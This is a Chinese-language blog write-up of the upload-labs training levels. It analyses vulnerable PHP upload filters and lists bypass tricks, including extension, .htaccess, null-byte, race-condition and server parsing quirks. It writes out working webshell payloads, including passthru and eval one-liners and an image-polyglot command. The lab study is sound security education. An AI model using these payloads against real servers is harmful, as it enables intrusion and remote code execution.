Upload-labs&Upload Bypass Summarize

  • 2019 年 10 月 8 日
  • 筆記

前言

暑假閑著也是閑著,去年這個時候刷完了 sqli-labs,今年想著來刷一下 upload-labs 而這次重點不在於題解,而在於總結與歸納 首先我們得明確一點,即上傳的過程

burp的位置在

前端校驗

對於前端的校驗,上述流程圖已經很清晰了,抓包即可破解,所以說前端的校驗只能用於提示用戶,想要保住安全性是自欺欺人的一種方式 例如 upload-labspass-01

Pass-01

第一關沒有什麼好說的,只是一個javascript的檢測 而js的檢測只能位於client,所以這裡利用burp抓包改包就可以繞過,不需要分析了 甚至可以

改掉這裡的 checkFile()即可

後端程式碼校驗

在對上傳的文件進行分析的時候,後端的php程式碼的不嚴謹,過濾不嚴格將會引起各種突破方式 下面以upload-labs的題進行分析

Pass-02:content-type問題  Pass-03:黑名單繞過(pht,phtml,phps.....)  Pass-04:.htaccess上傳  Pass-05:後綴大小寫問題  Pass-06:空格未過濾問題  Pass-07:dot處理不嚴謹  Pass-08:::$DATA  Pass-09:Pass-06與Pass-07的組合使用  Pass-10:雙寫後綴繞過問題  Pass-11:%00截斷問題(get)  Pass-12:0x00截斷問題(post)

這裡我選擇從源碼分析,而非黑盒測試 因為一些上傳的 trick想必大家都見過,但是為什麼這樣可以繞過,這就需要從源碼分析 知其然,知其所以然。

Pass-02

我們分析關鍵的程式碼

if (isset($_POST['submit'])) {      if (file_exists(UPLOAD_PATH)) {          if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {              if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {                  $img_path = UPLOAD_PATH . $_FILES['upload_file']['name'];                  $is_upload = true;  }

可以看到,這裡只校驗了 http header里的 content-type,同樣抓包修改即可 bypass

Pass-03

還是關鍵程式碼

if (isset($_POST['submit'])) {      if (file_exists(UPLOAD_PATH)) {          $deny_ext = array('.asp','.aspx','.php','.jsp');          $file_name = trim($_FILES['upload_file']['name']);          $file_name = deldot($file_name);//刪除文件名末尾的點          $file_ext = strrchr($file_name, '.');          $file_ext = strtolower($file_ext); //轉換為小寫          $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA          $file_ext = trim($file_ext); //收尾去空            if(!in_array($file_ext, $deny_ext)) {              if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name'])) {                   $img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name'];                   $is_upload = true;              }

不難看到這裡使用的是黑名單模式 而過濾非常的少

$deny_ext = array('.asp','.aspx','.php','.jsp');

所以我們利用的方法有多種,但是有先決條件

solution1

首先如果 apache httpd.conf中有如下一句

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

等等 那麼我們可以更改後綴名繞過

solution2

如果發現並不能解析

phtml .phps .php5 .pht......

那麼我們還能嘗試使用 .htaccess 這裡需要

1.mod_rewrite模組開啟  2.AllowOverride All

方法: 在apache下http.conf改配置:

AllowOverride All  LoadModule rewrite_module modules/mod_rewrite.so

然後上傳的 .htaccess方式也是多樣的 1.上傳內容為

<FilesMatch "sky233">    SetHandler application/x-httpd-php   </FilesMatch>

此時即可上傳 sky233 內容可被解析為 .php 2.上傳內容為

AddType application/x-httpd-php .jpg

此時即可上傳 sky233.jpg 內容可被解析為 .php

Pass-04

關鍵過濾

$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");

可以看到依舊沒有

.htaccess

所以利用上述該類方法,可以有效繞過

Pass-05

將程式碼與第4題相比對

明顯發現多了一個

.htaccess

並且沒有將文件後綴轉小寫的程式碼了 於是這裡顯然可以用大小寫繞過,例如 Php

Pass-06

繼續與第五題比對

發現第六題刪去了將文件名前後去空格的操作 所以可以利用

123.php(空格)

去繞過

Pass-07

繼續和第六題比對(左6右7)

發現沒有去處文件末尾的點的操作了 於是利用

sky.php.

可以繞過

Pass-08

左8右7 發現這裡刪掉了 ::$DATA的限制

漏洞參考

https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream

所以使用

sky.php::$DATA

即可

Pass-09

關鍵程式碼如下:

if (file_exists(UPLOAD_PATH)) {          $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");          $file_name = trim($_FILES['upload_file']['name']);          $file_name = deldot($file_name);//刪除文件名末尾的點          $file_ext = strrchr($file_name, '.');          $file_ext = strtolower($file_ext); //轉換為小寫          $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA          $file_ext = trim($file_ext); //首尾去空            if (!in_array($file_ext, $deny_ext)) {              if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $_FILES['upload_file']['name'])) {                  $img_path = UPLOAD_PATH . '/' . $file_name;                  $is_upload = true;              }

雖然有去末位點和去首位空格的操作 但是並不是循環處理的 所以可以這樣構造

sky.php. .

這樣經過一輪處理後,變為

sky.php.

剩下的道理如同Pass-07一樣 可以輕鬆繞過

Pass-10

關鍵程式碼如下

if (isset($_POST['submit'])) {      if (file_exists(UPLOAD_PATH)) {          $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");            $file_name = trim($_FILES['upload_file']['name']);          $file_name = str_ireplace($deny_ext,"", $file_name);          if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $file_name)) {              $img_path = UPLOAD_PATH . '/' .$file_name;              $is_upload = true;          }

我們發現關鍵點位於

$file_name = str_ireplace($deny_ext,"", $file_name);

程式碼並未循環過濾,於是存在

sky.pphphp

這樣的繞過

Pass-11

程式碼關鍵點在於

if(isset($_POST['submit'])){      $ext_arr = array('jpg','png','gif');      $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);      if(in_array($file_ext,$ext_arr)){          $temp_file = $_FILES['upload_file']['tmp_name'];          $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;          if(move_uploaded_file($temp_file,$img_path)){              $is_upload = true;

我們容易發現關鍵點

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;          if(move_uploaded_file($temp_file,$img_path)){              $is_upload = true;

這裡的路徑我們可控

$_GET['save_path']

於是不難想到利用

../upload/sky.php

這樣的payload 但是後面會自動拼接後綴 於是想到常見的%00截斷即可 payload

../upload/sky.php%00

Pass-12

只是單純的改成了post形式 不再做多餘的分析

圖片渲染解析問題

確保用戶上傳的是真實圖片而非惡意文件,圖片的解析也是一個重要的問題 但這裡一般需要打組合拳 即利用文件包含/php偽協議+圖片上傳 而這裡只要求我們上傳帶有小馬的圖片即可

Pass-13:unpack()  Pass-14:getimagesize()  Pass-15:exif_imagetype()  Pass-16:imagecreatefromjpeg()

以上函數基本上用圖片隱寫就可以bypass 即

copy normal.jpg /b + shell.php /a webshell.jpg

或是jpg圖片FFD9後加小馬

Pass-13

這裡的任務是要求傳一個帶有小馬的圖片

這裡簡單的添加到jpg圖片末位FFD9後就行了 但這裡的利用一般要配合文件包含,但是題目的要求到這裡就結束了

Pass-14

利用

$info = getimagesize($filename);  $ext = image_type_to_extension($info[2]);

獲取影像類型,繞過方法同Pass-13

Pass-15

function isImage($filename){      //需要開啟php_exif模組      $image_type = exif_imagetype($filename);      switch ($image_type) {          case IMAGETYPE_GIF:              return "gif";              break;          case IMAGETYPE_JPEG:              return "jpg";              break;          case IMAGETYPE_PNG:              return "png";              break;          default:              return false;              break;      }  }

這裡用了 exif_imagetype()去判斷文件類型 同樣用Pass-13的方法可以繞過

Pass-16

$im = imagecreatefromjpeg($target_path);  if($im == false){       $msg = "該文件不是jpg格式的圖片!";}

這裡使用了 imagecreatefromjpeg()來判斷文件類別 同樣可用Pass-13的方法繞過

條件競爭問題

有時候你上傳的文件,服務端會將其刪除或是重命名 這裡就需要用到條件競爭的方式 方式也很簡單 即用Burp不斷上傳,再用burp不斷訪問 一般常見的上傳內容為

<?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>

這樣在你訪問到的同時,就會在當前目錄寫下一個shell,下次就不用競爭利用了 這裡有一道很經典的題目(N1CTF-hard php)

http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/

利用phpinfo中上傳的tmp文件,條件競爭,進行文件包含,getshell 以及PHP_SESSION_UPLOAD_PROGRESS的條件競爭,包含getshell的問題

http://skysec.top/2018/03/12/N1CTF-2018-Web/#easy-php

這裡額外提一句:對於條件競爭,有時候存在非預期 例如:

-a

同樣出自N1CTF(hard-php)

https://xz.aliyun.com/t/2148

這樣的文件一般情況無法刪除的問題 還有比較常用的可讓unlink不運行

/.

繞過的問題

PHP底層問題

Pass-19

關鍵程式碼如下

if (file_exists(UPLOAD_PATH)) {          $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");            $file_name = $_POST['save_name'];          $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);            if(!in_array($file_ext,$deny_ext)) {              $img_path = UPLOAD_PATH . '/' .$file_name;              if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {                  $is_upload = true;              }          }

這裡可以直接使用

sky.php/.

去繞過

訪問

具體原因來自於

move_uploaded_file()

該函數會遞歸刪除文件名最後的 /. 詳細分析可看

http://wonderkun.cc/index.html/?p=626  http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

類似的函數,上述師傅的blog已經有提及,我就不再贅述,畢竟他們都是跟過底層的大佬XD

畸形解析

上述方法都不行?試試畸形解析吧!

IIS 6.0

IIS 6.0解析利用方法有三種: 1.目錄解析 建立 xx.asp為名稱的文件夾,將asp文件放入,訪問 /xx.asp/xx.jpg,其中 xx.jpg可以為任意文件後綴,即可解析 2.文件解析 後綴解析: /xx.asp;.jpg /xx.asp:.jpg(此處需抓包修改文件名) 3.默認解析 IIS6.0 默認的可執行文件除了asp還包含這三種

/wooyun.asa  /wooyun.cer  /wooyun.cdx

IIS 7.0/7.5

在正常圖片URL後添加 /.php 小馬如下

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]?>');?>

Apache

後綴解析: test.php.x1.x2.x3 Apache將從右至左開始判斷後綴,若x3非可識別後綴,再判斷x2,直到找到可識別後綴為止,然後將該可識別後綴進解析 test.php.x1.x2.x3則會被解析為php

Nginx<8.03

法1:同 IIS7.0/7.5 法2: xxx.jpg%00.php

後記

上傳的可能存在的問題有很多,由於入行未深,淺嘗輒止,若各位大佬有更好的奇淫技巧,敬請補充!

參考鏈接

http://www.sostan.com/hk/webhackiis7/ http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/ https://xz.aliyun.com/t/2148 https://github.com/LandGrey/upload-labs-writeup https://blog.csdn.net/u010726042/article/details/78037696 http://wonderkun.cc/index.html/?p=626 http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html